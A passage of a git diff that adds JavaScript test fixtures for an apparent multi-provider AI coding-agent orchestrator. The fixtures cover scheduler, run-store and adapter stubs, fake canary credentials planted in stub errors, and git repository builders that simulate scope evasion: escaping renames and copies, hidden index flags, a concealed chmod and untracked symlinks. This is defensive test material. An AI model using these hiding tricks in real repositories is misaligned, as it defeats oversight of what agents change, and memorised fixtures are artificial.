function createClock(now = NOW) { + return () => now; +} + +export function createRuntime(overrides = {}) { + const runStore = overrides.runStore ?? createMemoryRunStore(); + const runJournal = overrides.runJournal ?? createMemoryRunJournal(); + const aggregateAnchor = overrides.aggregateAnchor ?? createMemoryAggregateAnchor(); + const attentionBatch = overrides.attentionBatch ?? createMemoryAttentionBatch(); + const scheduler = overrides.scheduler ?? createMemoryScheduler(); + const artifactBridge = overrides.artifactBridge ?? createMemoryArtifactBridge(); + const lifecycle = overrides.lifecycle ?? createLifecycleFns(); + const clock = overrides.clock ?? createClock(); + const runtime = createRunRuntime({ + runStore, + runJournal, + aggregateAnchor, + attentionBatch, + scheduler, + artifactBridge, + settleLocalTaskLifecycle: lifecycle.settleLocalTaskLifecycle, + cleanupLocalTaskLifecycle: lifecycle.cleanupLocalTaskLifecycle, + clock, + }); + return { + runtime, + runStore, + runJournal, + aggregateAnchor, + attentionBatch, + scheduler, + artifactBridge, + lifecycle, + clock, + }; +} + +export function createFreshRuntime(harness, overrides = {}) { + return createRuntime({ + runStore: harness.runStore, + runJournal: harness.runJournal, + aggregateAnchor: harness.aggregateAnchor, + attentionBatch: harness.attentionBatch, + scheduler: harness.scheduler, + artifactBridge: harness.artifactBridge, + lifecycle: harness.lifecycle, + clock: harness.clock, + ...overrides, + }); +} diff --git a/plugins/codex-co-engineer/test/fixtures/r1-run-scheduler-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-run-scheduler-fixtures.mjs new file mode 100644 index 0000000..ee9ba66 --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-run-scheduler-fixtures.mjs @@ -0,0 +1,250 @@ +// Neutral builders and scoped task stubs for RunSchedulerV1 tests. +// Tests own the assertions. Nothing here ranks, defaults, or substitutes +// a provider, and the stubs never import supervisor, server, runtime, +// artifact, lifecycle, or candidate surfaces. + +import { + createRunScheduler, +} from '../../mcp/v3/run-scheduler.mjs'; + +export const RUN_ID = 'run-scheduler-main'; +export const BASE_SHA = '9e4d3cbdb1175f92da9979a7125e29e43b9aa699'; +export const OTHER_BASE_SHA = 'ce174375ee7e0c83b3db4f874e88edbf932649ee'; +export const ASSIGNMENT_A = 'lane-alpha'; +export const ASSIGNMENT_B = 'lane-beta'; +export const ASSIGNMENT_C = 'lane-verify'; +export const TASK_A = 'task-alpha'; +export const TASK_B = 'task-beta'; +export const TASK_C = 'task-verify'; +export const NOW = '2026-08-25T22:12:00.000Z'; +export const HOSTILE_SECRET = 'sk-live-ATTACKER-SECRET'; +export const HOSTILE_PATH = '/tmp/hostile-repo'; +export const HOSTILE_TOKEN = 'github_pat_hostile'; + +export function writerAssignment({ + assignmentId = ASSIGNMENT_A, + taskId = TASK_A, + provider = 'grok', + model = 'grok-4', + writeScope = ['src/alpha/**'], + required = true, + startingRef, +} = {}) { + const assignment = { + assignment_id: assignmentId, + task_id: taskId, + role: 'implement', + access: 'writer', + provider, + model, + write_scope: writeScope, + required, + }; + if (startingRef !== undefined) assignment.starting_ref = startingRef; + return assignment; +} + +export function verifierAssignment({ + assignmentId = ASSIGNMENT_C, + taskId = TASK_C, + provider = 'cursor-local', + model = 'composer-1', + role = 'verify', + required = true, +} = {}) { + return { + assignment_id: assignmentId, + task_id: taskId, + role, + access: 'read_only', + provider, + model, + write_scope: [], + required, + }; +} + +export function reviewerAssignment(overrides = {}) { + return verifierAssignment({ + assignmentId: ASSIGNMENT_B, + taskId: TASK_B, + provider: 'grok', + model: 'grok-4', + role: 'review', + ...overrides, + }); +} + +export function twoWriterRequest(overrides = {}) { + return { + run_id: overrides.runId ?? RUN_ID, + base_sha: overrides.baseSha ?? BASE_SHA, + assignments: overrides.assignments ?? [ + writerAssignment(), + writerAssignment({ + assignmentId: ASSIGNMENT_B, + taskId: TASK_B, + writeScope: ['src/beta/**'], + provider: 'cursor-local', + model: 'composer-1', + }), + ], + }; +} + +export function mixedLaneRequest(overrides = {}) { + return { + run_id: overrides.runId ?? RUN_ID, + base_sha: overrides.baseSha ?? BASE_SHA, + assignments: overrides.assignments ?? [ + writerAssignment(), + writerAssignment({ + assignmentId: ASSIGNMENT_B, + taskId: TASK_B, + writeScope: ['src/beta/**'], + provider: 'dsh', + model: 'muse-spark-1.2-contributor', + }), + verifierAssignment(), + ], + }; +} + +export function eightLaneRequest(overrides = {}) { + const assignments = []; + for (let index = 0; index < 8; index += 1) { + assignments.push(writerAssignment({ + assignmentId: `lane-${String(index).padStart(2, '0')}`, + taskId: `task-${String(index).padStart(2, '0')}`, + writeScope: [`src/area-${index}/**`], + })); + } + return { + run_id: overrides.runId ?? RUN_ID, + base_sha: overrides.baseSha ?? BASE_SHA, + assignments, + }; +} + +export function countingProxy(target) { + const counts = { get: 0, ownKeys: 0, getOwnPropertyDescriptor: 0, has: 0, apply: 0 }; + const proxy = new Proxy(target, { + get(inner, property, receiver) { + counts.get += 1; + return Reflect.get(inner, property, receiver); + }, + ownKeys(inner) { + counts.ownKeys += 1; + return Reflect.ownKeys(inner); + }, + getOwnPropertyDescriptor(inner, property) { + counts.getOwnPropertyDescriptor += 1; + return Reflect.getOwnPropertyDescriptor(inner, property); + }, + has(inner, property) { + counts.has += 1; + return Reflect.has(inner, property); + }, + apply() { + counts.apply += 1; + throw new Error('proxy apply must never run'); + }, + }); + return { proxy, counts }; +} + +export function trapTotal(counts) { + return counts.get + counts.ownKeys + counts.getOwnPropertyDescriptor + counts.has + counts.apply; +} + +export function createScopedStubs(options = {}) { + const delegateCalls = []; + const inspectCalls = []; + const cancelCalls = []; + const tasks = new Map(); + const failDelegateFor = new Set(options.failDelegateFor ?? []); + const mismatchDelegateFor = new Set(options.mismatchDelegateFor ?? []); + const failInspectFor = new Set(options.failInspectFor ?? []); + const failCancelFor = new Set(options.failCancelFor ?? []); + const attentionByTask = new Map(Object.entries(options.attentionByTask ?? {})); + const inspectStatusByTask = new Map(Object.entries(options.inspectStatusByTask ?? {})); + let cursorSeq = 0; + const now = options.now ?? NOW; + + const delegateTask = async (plan) => { + delegateCalls.push(plan); + if (failDelegateFor.has(plan.assignment_id)) { + throw new Error(`${HOSTILE_SECRET} injected delegate failure`); + } + if (mismatchDelegateFor.has(plan.assignment_id)) { + return { task_id: 'forged-task', cursor: '0', status: 'running' }; + } + const cursor = STRING_CURSOR(++cursorSeq); + const record = { + task_id: plan.task_id, + assignment_id: plan.assignment_id, + status: 'running', + cursor, + attention: attentionByTask.get(plan.task_id) ?? null, + }; + tasks.set(plan.task_id, record); + return { task_id: plan.task_id, cursor, status: 'running' }; + }; + + const inspectTask = async (plan) => { + inspectCalls.push(plan); + if (failInspectFor.has(plan.assignment_id)) { + throw new Error(`${HOSTILE_PATH} injected inspect failure`); + } + const record = tasks.get(plan.task_id); + if (!record) return { task_id: plan.task_id, status: 'failed', cursor: plan.cursor }; + if (inspectStatusByTask.has(plan.task_id)) { + record.status = inspectStatusByTask.get(plan.task_id); + } + const attention = attentionByTask.get(plan.task_id) ?? record.attention; + record.attention = attention; + const nextCursor = STRING_CURSOR(Number(record.cursor) + 8); + record.cursor = nextCursor; + return { + task_id: record.task_id, + status: record.status, + cursor: record.cursor, + attention, + }; + }; + + const cancelTask = async (plan) => { + cancelCalls.push(plan); + if (failCancelFor.has(plan.assignment_id)) { + throw new Error(`${HOSTILE_TOKEN} injected cancel failure`); + } + const record = tasks.get(plan.task_id); + if (record) { + record.status = 'cancelled'; + record.attention = null; + } + return { task_id: plan.task_id, cancelled: true }; + }; + + const clock = () => now; + + return { + delegateTask, + inspectTask, + cancelTask, + clock, + delegateCalls, + inspectCalls, + cancelCalls, + tasks, + scheduler: createRunScheduler({ delegateTask, inspectTask, cancelTask, clock }), + }; +} + +function STRING_CURSOR(value) { + return String(value); +} + +export function createScheduler(options = {}) { + return createScopedStubs(options); +} diff --git a/plugins/codex-co-engineer/test/fixtures/r1-run-store-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-run-store-fixtures.mjs new file mode 100644 index 0000000..cb250fa --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-run-store-fixtures.mjs @@ -0,0 +1,129 @@ +// Neutral builders for durable run-store tests. Tests own the assertions. + +import { chmod, mkdtemp } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; + +import { + buildChildIdentityV1, + buildDispatchAttemptV1, + buildProviderRunIdentityV1, + buildRunIdentityV1, + buildWorkspaceIdentityV1, +} from '../../mcp/v3/protected-identity.mjs'; +import { + buildDispatchProvenanceV1, + projectDispatchTelemetryV1, +} from '../../mcp/v3/protected-telemetry.mjs'; +import { + ASSIGNMENT_ID, + BRANCH_NAME, + LOCK_ID, + OPENED_AT, + REPOSITORY_PATH, + RUN_ID, + WORKTREE_PATH, + fixtureCapabilityDigest, + fixtureEnvelopeDigest, + fixtureGit, + fixtureLaneDigest, + fixtureManifestDigest, +} from './r1-protected-identity-fixtures.mjs'; + +export { + ASSIGNMENT_ID, + REPOSITORY_PATH, + RUN_ID, + fixtureGit, +}; + +export async function makePrivateRoot(prefix = 'r1-run-store-') { + const root = await mkdtemp(path.join(tmpdir(), prefix)); + await chmod(root, 0o700); + return root; +} + +export function makeSubmission({ + runId = RUN_ID, + assignmentId = ASSIGNMENT_ID, + attempt = 1, + counters = { dispatch_calls: 0, wake_events: 0, outcome_events: 0 }, + git = fixtureGit(), +} = {}) { + const identity = buildRunIdentityV1({ + run_id: runId, + git, + manifest_digest: fixtureManifestDigest(), + }); + const workspace = buildWorkspaceIdentityV1({ + run_id: runId, + assignment_id: assignmentId, + git, + semantics: 'local_managed_worktree', + starting_point: 'run_base_sha', + worktree_path: WORKTREE_PATH, + branch: BRANCH_NAME, + lock_id: LOCK_ID, + starting_ref: null, + }); + const child = buildChildIdentityV1({ run_id: runId, assignment_id: assignmentId }); + const dispatch = buildDispatchAttemptV1({ + run_id: runId, + assignment_id: assignmentId, + attempt, + }); + const providerRun = buildProviderRunIdentityV1({ + run_id: runId, + assignment_id: assignmentId, + attempt, + provider: 'grok', + model: 'grok-4', + git, + manifest_digest: fixtureManifestDigest(), + prompt_envelope_digest: fixtureEnvelopeDigest(), + resolved_lane_digest: fixtureLaneDigest(), + capability_snapshot_digest: fixtureCapabilityDigest(), + agent_id: null, + provider_run_id: null, + }); + const provenance = buildDispatchProvenanceV1({ + revision: 1, + run: identity, + child, + git, + workspace, + dispatch, + provider_run: providerRun, + requested: { provider: 'grok', model: 'grok-4' }, + resolved: { provider: 'grok', model: 'grok-4', role: 'implement' }, + observed: { provider: null, model: null }, + observation: null, + model_mismatch: 'served_model_not_observed', + repository_exposure: 'selected_external_provider_full_repository', + lineage: { + manifest_digest: identity.manifest_digest, + prompt_envelope_digest: providerRun.prompt_envelope_digest, + resolved_lane_digest: providerRun.resolved_lane_digest, + capability_snapshot_digest: providerRun.capability_snapshot_digest, + git_digest: git.digest, + workspace_digest: workspace.digest, + }, + timing: { + opened_at: OPENED_AT, + dispatched_at: null, + settled_at: null, + dispatch_latency_ms: null, + total_duration_ms: null, + }, + counters, + outcome: 'pending', + }); + return { + run_id: runId, + request_idempotency_key: providerRun.request_idempotency_key, + identity, + git, + provenance, + telemetry: projectDispatchTelemetryV1(provenance), + }; +} diff --git a/plugins/codex-co-engineer/test/fixtures/r1-run-tool-adapter-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-run-tool-adapter-fixtures.mjs new file mode 100644 index 0000000..18105fc --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-run-tool-adapter-fixtures.mjs @@ -0,0 +1,282 @@ +// Isolated R-CUTOVER run-tool-adapter fixtures. Tests own the assertions. + +import { attentionQuestionDigestV1 } from '../../mcp/v3/attention-batch.mjs'; +import { denyWorkerRemoteMutation } from '../../mcp/v3/credential-boundary.mjs'; +import { + classifySupervisorTerminalReceipt, + projectSupervisorTerminalReceipt, +} from '../../mcp/v3/supervisor.mjs'; +import { + createDurableRunSeams, + createInProcessRunSeams, + createRunToolAdapter, +} from '../../mcp/v3/run-tool-adapter.mjs'; +import { + ASSIGNMENT_ID, + BASE_SHA, + HOSTILE_SECRET, + NOW, + RUN_ID, + TASK_ID, + createClock, + createLifecycleFns, + createMemoryAttentionBatch, + createMemoryScheduler, + createRuntime, + makeAssignment, + makePrivateRoot, + makeSubmitRequest, + makeVerifier, +} from './r1-run-runtime-fixtures.mjs'; +import { makeSubmission } from './r1-run-store-fixtures.mjs'; +import { + legitimateCompletedReceipt, + zeroWorkPingTimeoutReceipt, +} from './r1-supervisor-result-truthfulness-fixtures.mjs'; + +export { + ASSIGNMENT_ID, + BASE_SHA, + HOSTILE_SECRET, + NOW, + RUN_ID, + TASK_ID, + legitimateCompletedReceipt, + makeAssignment, + makeSubmitRequest, + makeVerifier, + zeroWorkPingTimeoutReceipt, +}; + +export const HOSTILE_PATH = '/tmp/hostile-repo'; +export const HOSTILE_TOKEN = 'github_pat_hostile'; +export const HOSTILE_ENV = 'MODEL_API_KEY=sk-live-ATTACKER-SECRET'; +export const CONTENT_FREE = /^[A-Za-z0-9 ._/-]{1,160}$/u; + +export function countingProxy(target = {}) { + const traps = { get: 0, getOwnPropertyDescriptor: 0, ownKeys: 0 }; + const proxy = new Proxy(target, { + get(obj, key) { + traps.get += 1; + if (key === 'run_id') return RUN_ID; + return obj[key]; + }, + getOwnPropertyDescriptor(obj, key) { + traps.getOwnPropertyDescriptor += 1; + return Object.getOwnPropertyDescriptor(obj, key); + }, + ownKeys(obj) { + traps.ownKeys += 1; + return Reflect.ownKeys(obj); + }, + }); + return { proxy, traps }; +} + +export function makeRunArgs(overrides = {}) { + const request = makeSubmitRequest(overrides); + return { + run: { + ...request, + objective: overrides.objective ?? 'implement the bounded assignment', + ...(overrides.profile ? { profile: overrides.profile } : {}), + }, + }; +} + +export function createCountingRuntime(options = {}) { + const created = createRuntime({ + scheduler: options.scheduler ?? createMemoryScheduler(options.schedulerOptions), + attentionBatch: options.attentionBatch ?? createMemoryAttentionBatch(), + lifecycle: options.lifecycle ?? createLifecycleFns(options.lifecycleOptions), + clock: options.clock ?? createClock(), + ...options.runtimeOverrides, + }); + const calls = { + submit: [], + inspect: [], + resume: [], + cancel: [], + }; + const runtime = { + async submitRun(request) { + calls.submit.push(request); + if (typeof options.beforeSubmit === 'function') options.beforeSubmit(request); + return created.runtime.submitRun(request); + }, + async inspectRun(request) { + calls.inspect.push(request); + const receipt = await created.runtime.inspectRun(request); + if (typeof options.decorateInspect === 'function') { + return options.decorateInspect(receipt); + } + return receipt; + }, + async resumeRun(request) { + calls.resume.push(request); + const receipt = await created.runtime.resumeRun(request); + if (typeof options.decorateInspect === 'function') { + return options.decorateInspect(receipt); + } + return receipt; + }, + async cancelRun(request) { + calls.cancel.push(request); + return created.runtime.cancelRun(request); + }, + }; + return { ...created, runtime, calls }; +} + +export function createAdapter(options = {}) { + const counting = options.runtime + ? { runtime: options.runtime, attentionBatch: options.attention, calls: options.calls ?? {} } + : createCountingRuntime(options); + const dependencies = { + runtime: counting.runtime, + attention: options.attention ?? counting.attentionBatch, + projectLaneTask: options.projectLaneTask ?? projectSupervisorTerminalReceipt, + classifyLaneTask: options.classifyLaneTask ?? classifySupervisorTerminalReceipt, + }; + if (typeof options.rememberSubmitContext === 'function') { + dependencies.rememberSubmitContext = options.rememberSubmitContext; + } + const adapter = createRunToolAdapter(dependencies); + return { adapter, ...counting }; +} + +export function denyRemote(operation) { + return denyWorkerRemoteMutation(operation); +} + +export function makeAttentionItem({ + assignmentId = ASSIGNMENT_ID, + taskId = TASK_ID, + provider = 'grok', + required = true, + sessionId = 'sess-1', + questionId = 'q-1', + eventCursor = '0', + prompt = 'Choose the next writer step', + options = ['continue', 'stop'], +} = {}) { + const replyCapability = provider === 'dsh' || provider === 'cursor-cloud' + ? 'unsupported' + : 'same_session'; + const item = { + assignment_id: assignmentId, + task_id: taskId, + provider, + required, + session_id: sessionId, + question_id: questionId, + event_cursor: eventCursor, + question_digest: 'sha256:' + '00'.repeat(32), + prompt, + options: replyCapability === 'unsupported' ? null : options, + reply_capability: replyCapability, + disposition: 'pending', + deadline_at: null, + }; + item.question_digest = attentionQuestionDigestV1(item); + return item; +} + +export function createSeamAdapter(options = {}) { + const lifecycle = options.lifecycle ?? createLifecycleFns(options.lifecycleOptions); + const seams = createInProcessRunSeams({ + delegateTask: options.delegateTask ?? (async (plan) => ({ + task_id: plan.task_id, status: 'dispatched', cursor: '0', + })), + inspectTask: options.inspectTask ?? (async (plan) => ({ + task_id: plan.task_id, status: 'running', cursor: plan.cursor ?? '0', + })), + cancelTask: options.cancelTask ?? (async (plan) => ({ + task_id: plan.task_id, status: 'cancelled', cancelled: true, + })), + settleLocalTaskLifecycle: lifecycle.settleLocalTaskLifecycle, + cleanupLocalTaskLifecycle: lifecycle.cleanupLocalTaskLifecycle, + clock: options.clock ?? createClock(), + deliverSameSessionReply: options.deliverSameSessionReply, + cancelSameSessionReply: options.cancelSameSessionReply, + }); + const adapter = createRunToolAdapter({ + runtime: seams.runtime, + attention: seams.attention, + projectLaneTask: options.projectLaneTask ?? projectSupervisorTerminalReceipt, + classifyLaneTask: options.classifyLaneTask ?? classifySupervisorTerminalReceipt, + }); + return { adapter, seams, lifecycle }; +} + +export function makeRunReply({ + runId = RUN_ID, + batchId = `att-${runId}`, + assignmentId = ASSIGNMENT_ID, + taskId = TASK_ID, + sessionId = 'sess-1', + questionId = 'q-1', + response = 'ship-it', +} = {}) { + return { + round: 1, + batch_id: batchId, + answers: [{ + assignment_id: assignmentId, + question_id: questionId, + session_id: sessionId, + task_id: taskId, + response, + }], + }; +} + +export function trackingSameSessionDeliver() { + const calls = []; + return { + calls, + async deliver(identity) { + calls.push({ ...identity }); + return { + outcome: 'delivered', + run_id: identity.run_id, + assignment_id: identity.assignment_id, + task_id: identity.task_id, + session_id: identity.session_id, + question_id: identity.question_id, + }; + }, + }; +} + +export async function createDurableAdapter(options = {}) { + const root = options.root ?? await makePrivateRoot('r1-rcutover-durable-'); + const lifecycle = options.lifecycle ?? createLifecycleFns(options.lifecycleOptions ?? { final: true }); + const dispatchCalls = []; + const taskFns = { + delegateTask: options.delegateTask ?? (async (plan) => { + dispatchCalls.push(plan.task_id); + return { task_id: plan.task_id, status: 'dispatched', cursor: '0' }; + }), + inspectTask: options.inspectTask ?? (async (plan) => ({ + task_id: plan.task_id, status: 'running', cursor: plan.cursor ?? '0', + })), + cancelTask: options.cancelTask ?? (async (plan) => ({ + task_id: plan.task_id, status: 'cancelled', cancelled: true, + })), + settleLocalTaskLifecycle: lifecycle.settleLocalTaskLifecycle, + cleanupLocalTaskLifecycle: lifecycle.cleanupLocalTaskLifecycle, + clock: options.clock ?? createClock(), + deliverSameSessionReply: options.deliverSameSessionReply, + cancelSameSessionReply: options.cancelSameSessionReply, + beforeProviderDispatch: options.beforeProviderDispatch, + }; + const seams = await createDurableRunSeams({ root, ...taskFns }); + const adapter = createRunToolAdapter({ + runtime: seams.runtime, + attention: seams.attention, + projectLaneTask: options.projectLaneTask ?? projectSupervisorTerminalReceipt, + classifyLaneTask: options.classifyLaneTask ?? classifySupervisorTerminalReceipt, + }); + return { adapter, seams, root, lifecycle, dispatchCalls, taskFns }; +} diff --git a/plugins/codex-co-engineer/test/fixtures/r1-scope-verifier-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-scope-verifier-fixtures.mjs new file mode 100644 index 0000000..c92a21e --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-scope-verifier-fixtures.mjs @@ -0,0 +1,451 @@ +// Disposable repository fixtures for W16-P15 scope, read-only, and +// merge-commit verification. Construction uses argv git only; the product +// verifier is never imported here so forged histories and hostile paths +// stay parent-failing until the verifier module exists. + +import { spawn } from 'node:child_process'; +import { chmod, mkdir, mkdtemp, rm, symlink, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; + +export const RUN_ID = 'run-scope-verify-01'; +export const ASSIGNMENT_ID = 'lane-writer'; +export const READ_ONLY_ASSIGNMENT_ID = 'lane-verify'; +export const OTHER_ASSIGNMENT_ID = 'lane-other'; +export const BASE_REF = 'refs/heads/main'; +export const WRITE_SCOPE = Object.freeze(['src/**']); +export const OTHER_WRITE_SCOPE = Object.freeze(['docs/**']); + +const GIT = '/usr/bin/git'; +const FIXTURE_ENV = Object.freeze({ + PATH: '/usr/bin:/bin', + GIT_CONFIG_NOSYSTEM: '1', + GIT_CONFIG_GLOBAL: '/dev/null', + GIT_CONFIG_SYSTEM: '/dev/null', + GIT_AUTHOR_NAME: 'P15 Fixture', + GIT_AUTHOR_EMAIL: 'p15@example.test', + GIT_COMMITTER_NAME: 'P15 Fixture', + GIT_COMMITTER_EMAIL: 'p15@example.test', + GIT_AUTHOR_DATE: '2020-01-01T00:00:00Z', + GIT_COMMITTER_DATE: '2020-01-01T00:00:00Z', +}); + +export function countingProxy(target) { + const counts = { get: 0, ownKeys: 0, getOwnPropertyDescriptor: 0, has: 0, apply: 0 }; + const proxy = new Proxy(target, { + get(inner, property, receiver) { + counts.get += 1; + return Reflect.get(inner, property, receiver); + }, + ownKeys(inner) { + counts.ownKeys += 1; + return Reflect.ownKeys(inner); + }, + getOwnPropertyDescriptor(inner, property) { + counts.getOwnPropertyDescriptor += 1; + return Reflect.getOwnPropertyDescriptor(inner, property); + }, + has(inner, property) { + counts.has += 1; + return Reflect.has(inner, property); + }, + apply() { + counts.apply += 1; + throw new Error('proxy apply must never run'); + }, + }); + return { proxy, counts }; +} + +export function trapTotal(counts) { + return counts.get + counts.ownKeys + counts.getOwnPropertyDescriptor + counts.has + counts.apply; +} + +export function identityRequest(repo, overrides = {}) { + return { + repository: { + path: overrides.path ?? repo.path, + base_sha: overrides.base_sha ?? repo.baseSha, + }, + expected_base_ref: overrides.expected_base_ref ?? BASE_REF, + candidate_head_sha: overrides.candidate_head_sha ?? overrides.head_sha ?? repo.headSha, + run_id: overrides.run_id ?? RUN_ID, + assignment_id: overrides.assignment_id ?? ASSIGNMENT_ID, + sequence: overrides.sequence ?? 0, + }; +} + +export function scopeRequest(repo, identity, overrides = {}) { + const request = { + identity_request: overrides.identity_request ?? identityRequest(repo, overrides), + identity, + access: overrides.access ?? 'writer', + write_scope: overrides.write_scope ?? [...WRITE_SCOPE], + other_write_scopes: overrides.other_write_scopes ?? [], + }; + for (const key of Object.keys(overrides)) { + if (key === 'path' || key === 'base_sha' || key === 'head_sha' + || key === 'identity_request' || key === 'expected_base_ref' + || key === 'candidate_head_sha' || key === 'run_id' + || key === 'assignment_id' || key === 'sequence') { + continue; + } + request[key] = overrides[key]; + } + return request; +} + +function runFixtureGit(cwd, args, env = FIXTURE_ENV) { + return new Promise((resolve, reject) => { + const child = spawn(GIT, args, { + cwd, + env, + stdio: ['ignore', 'pipe', 'pipe'], + }); + const stdoutChunks = []; + const stderrChunks = []; + child.stdout.on('data', (chunk) => stdoutChunks.push(chunk)); + child.stderr.on('data', (chunk) => stderrChunks.push(chunk)); + child.on('error', reject); + child.on('close', (code) => { + const stdout = Buffer.concat(stdoutChunks).toString('utf8').trim(); + const stderr = Buffer.concat(stderrChunks).toString('utf8').trim(); + if (code !== 0) { + const error = new Error(`fixture git failed: ${args.join(' ')}`); + error.stdout = stdout; + error.stderr = stderr; + error.code = code; + reject(error); + return; + } + resolve(stdout); + }); + }); +} + +async function emptyRepo(prefix) { + const root = await mkdtemp(path.join(tmpdir(), prefix)); + await runFixtureGit(root, ['-c', 'init.defaultBranch=main', 'init', '--initial-branch=main']); + return root; +} + +async function writeAndAdd(root, relative, contents) { + const target = path.join(root, relative); + await mkdir(path.dirname(target), { recursive: true }); + await writeFile(target, contents, 'utf8'); + await runFixtureGit(root, ['add', '--', relative]); +} + +async function commit(root, message) { + await runFixtureGit(root, ['commit', '-m', `${message} ${root}`]); + return runFixtureGit(root, ['rev-parse', 'HEAD']); +} + +export async function cleanupRepo(root) { + await rm(root, { recursive: true, force: true }); +} + +function wrap(root, fields) { + return { + path: root, + ...fields, + cleanup: () => cleanupRepo(root), + }; +} + +export async function createInScopeWriterRepo() { + const root = await emptyRepo('p15-inscope-'); + await writeAndAdd(root, 'src/keep.txt', 'keep\n'); + await writeAndAdd(root, 'docs/readme.txt', 'docs\n'); + const baseSha = await commit(root, 'base'); + await runFixtureGit(root, ['branch', '--', 'candidate']); + await runFixtureGit(root, ['checkout', 'candidate']); + await writeAndAdd(root, 'src/added.txt', 'added\n'); + const headSha = await commit(root, 'head'); + await runFixtureGit(root, ['checkout', 'main']); + return wrap(root, { baseSha, headSha, extra: { files: ['src/added.txt'] } }); +} + +export async function createOutOfScopeWriterRepo() { + const root = await emptyRepo('p15-outofscope-'); + await writeAndAdd(root, 'src/keep.txt', 'keep\n'); + const baseSha = await commit(root, 'base'); + await runFixtureGit(root, ['branch', '--', 'candidate']); + await runFixtureGit(root, ['checkout', 'candidate']); + await writeAndAdd(root, 'docs/secret.txt', 'secret\n'); + const headSha = await commit(root, 'head'); + await runFixtureGit(root, ['checkout', 'main']); + return wrap(root, { baseSha, headSha, extra: { files: ['docs/secret.txt'] } }); +} + +export async function createReadOnlyUnchangedRepo() { + const root = await emptyRepo('p15-readonly-'); + await writeAndAdd(root, 'src/keep.txt', 'keep\n'); + const baseSha = await commit(root, 'base'); + return wrap(root, { baseSha, headSha: baseSha, extra: {} }); +} + +export async function createReadOnlyMutatedRepo() { + const repo = await createInScopeWriterRepo(); + return repo; +} + +export async function createRenameInScopeRepo() { + const root = await emptyRepo('p15-rename-'); + await writeAndAdd(root, 'src/old.txt', 'rename-me\n'); + const baseSha = await commit(root, 'base'); + await runFixtureGit(root, ['branch', '--', 'candidate']); + await runFixtureGit(root, ['checkout', 'candidate']); + await runFixtureGit(root, ['mv', '--', 'src/old.txt', 'src/new.txt']); + const headSha = await commit(root, 'rename'); + await runFixtureGit(root, ['checkout', 'main']); + return wrap(root, { baseSha, headSha, extra: { from: 'src/old.txt', to: 'src/new.txt' } }); +} + +export async function createRenameEscapingRepo() { + const root = await emptyRepo('p15-rename-escape-'); + await writeAndAdd(root, 'src/old.txt', 'escape-me\n'); + const baseSha = await commit(root, 'base'); + await runFixtureGit(root, ['branch', '--', 'candidate']); + await runFixtureGit(root, ['checkout', 'candidate']); + await mkdir(path.join(root, 'docs'), { recursive: true }); + await runFixtureGit(root, ['mv', '--', 'src/old.txt', 'docs/escaped.txt']); + const headSha = await commit(root, 'escape'); + await runFixtureGit(root, ['checkout', 'main']); + return wrap(root, { + baseSha, headSha, extra: { from: 'src/old.txt', to: 'docs/escaped.txt' }, + }); +} + +export async function createCopyInScopeRepo() { + const root = await emptyRepo('p15-copy-'); + await writeAndAdd(root, 'src/original.txt', 'unique-copy-blob-p15-0123456789\n'); + const baseSha = await commit(root, 'base'); + await runFixtureGit(root, ['branch', '--', 'candidate']); + await runFixtureGit(root, ['checkout', 'candidate']); + await writeAndAdd(root, 'src/copied.txt', 'unique-copy-blob-p15-0123456789\n'); + const headSha = await commit(root, 'copy'); + await runFixtureGit(root, ['checkout', 'main']); + return wrap(root, { baseSha, headSha, extra: { from: 'src/original.txt', to: 'src/copied.txt' } }); +} + +export async function createCopyEscapingRepo() { + const root = await emptyRepo('p15-copy-escape-'); + await writeAndAdd(root, 'src/keep.txt', 'keep\n'); + await writeAndAdd(root, 'docs/secret.txt', 'unique-copy-blob-docs-9876543210\n'); + const baseSha = await commit(root, 'base'); + await runFixtureGit(root, ['branch', '--', 'candidate']); + await runFixtureGit(root, ['checkout', 'candidate']); + await writeAndAdd(root, 'src/fromdocs.txt', 'unique-copy-blob-docs-9876543210\n'); + const headSha = await commit(root, 'copy-escape'); + await runFixtureGit(root, ['checkout', 'main']); + return wrap(root, { + baseSha, headSha, extra: { from: 'docs/secret.txt', to: 'src/fromdocs.txt' }, + }); +} + +export async function createIgnoredOutOfScopeRepo() { + const root = await emptyRepo('p15-ignored-'); + await writeAndAdd(root, 'src/keep.txt', 'keep\n'); + await writeAndAdd(root, 'docs/readme.txt', 'docs\n'); + await writeAndAdd(root, '.gitignore', 'scratch.ignored\n'); + const baseSha = await commit(root, 'base'); + await runFixtureGit(root, ['branch', '--', 'candidate']); + await runFixtureGit(root, ['checkout', 'candidate']); + await writeAndAdd(root, 'src/added.txt', 'added\n'); + const headSha = await commit(root, 'head'); + await runFixtureGit(root, ['checkout', 'main']); + await writeFile(path.join(root, 'docs', 'scratch.ignored'), 'ignored-out\n', 'utf8'); + return wrap(root, { baseSha, headSha, extra: { ignored: 'docs/scratch.ignored' } }); +} + +export async function createHiddenIndexFlagRepo() { + const repo = await createInScopeWriterRepo(); + await runFixtureGit(repo.path, ['update-index', '--assume-unchanged', '--', 'src/keep.txt']); + await runFixtureGit(repo.path, ['update-index', '--skip-worktree', '--', 'docs/readme.txt']); + repo.extra = { ...repo.extra, assume_unchanged: 'src/keep.txt', skip_worktree: 'docs/readme.txt' }; + return repo; +} + +export async function createFileModeHiddenChmodRepo() { + const repo = await createReadOnlyUnchangedRepo(); + await runFixtureGit(repo.path, ['config', 'core.fileMode', 'false']); + await chmod(path.join(repo.path, 'src', 'keep.txt'), 0o755); + repo.extra = { ...repo.extra, chmod: 'src/keep.txt' }; + return repo; +} + +export async function createUntrackedSymlinkRepo() { + const repo = await createInScopeWriterRepo(); + await symlink('keep.txt', path.join(repo.path, 'src', 'link-untracked.txt')); + repo.extra = { ...repo.extra, untracked: 'src/link-untracked.txt' }; + return repo; +} + +export async function createDeletionInScopeRepo() { + const root = await emptyRepo('p15-delete-'); + await writeAndAdd(root, 'src/gone.txt', 'delete-me\n'); + const baseSha = await commit(root, 'base'); + await runFixtureGit(root, ['branch', '--', 'candidate']); + await runFixtureGit(root, ['checkout', 